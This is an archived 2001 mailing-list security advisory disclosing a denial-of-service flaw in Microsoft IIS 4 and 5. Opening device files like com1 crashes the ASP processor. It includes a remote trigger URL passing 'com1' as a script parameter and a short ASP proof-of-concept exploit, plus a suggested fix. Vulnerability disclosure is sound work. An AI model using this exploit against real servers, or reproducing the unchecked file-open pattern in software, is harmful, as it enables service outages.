NERF Advisory #4: MS IIS local and remote DoS

From: VIPER_SV /nerf/team/ (haxat_private)
Date: Wed Jul 04 2001 - 09:35:27 PDT

  • Next message: Roman Drahtmueller: "Re: xdm cookies fast brute force" 

                                  --== NERF gr0up security advisory #4 ==--  
                                  MS IIS local and remote DoS      

1. Vulnerable soft: IIS 4,5   

2. Description:
Openning and reading of device files (com1, com2, etc.) using Scripting.FileSystemObject will crash ASP-processor (asp.dll).
 
3. Local exploit:
If you have permission on creating .asp-file, you can crash ASP-processor.
 
4. Remote exploit:
Sometimes filename passing as asp-script param, which open and read data from file. Passing param as device file will
crash asp-processor.
http://host.int/scripts/script.asp?script=com1
 
5. Solution:
Fix Scripting.FileSystemObject (have to check file for existing before openning.
 
6. ASP-Exploit:
 
<%
  Dim strFileName, objFSO, objFile
 
  Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
 
  strFileName = "com1"
 
  Set objFile = objFSO.OpenTextFile(strFileName)
 
  Response.Write objFile.ReadAll
 
  objFile.Close

%>
 
7.Sorry:
for poor english
---------------------------------------------------
Found by buggzy (buggzyat_private)
NERF Security gr0up (www.nerf.ru), Russia, 2001 (c)

    This archive was generated by hypermail 2b30 : Wed Jul 04 2001 - 14:53:07 PDT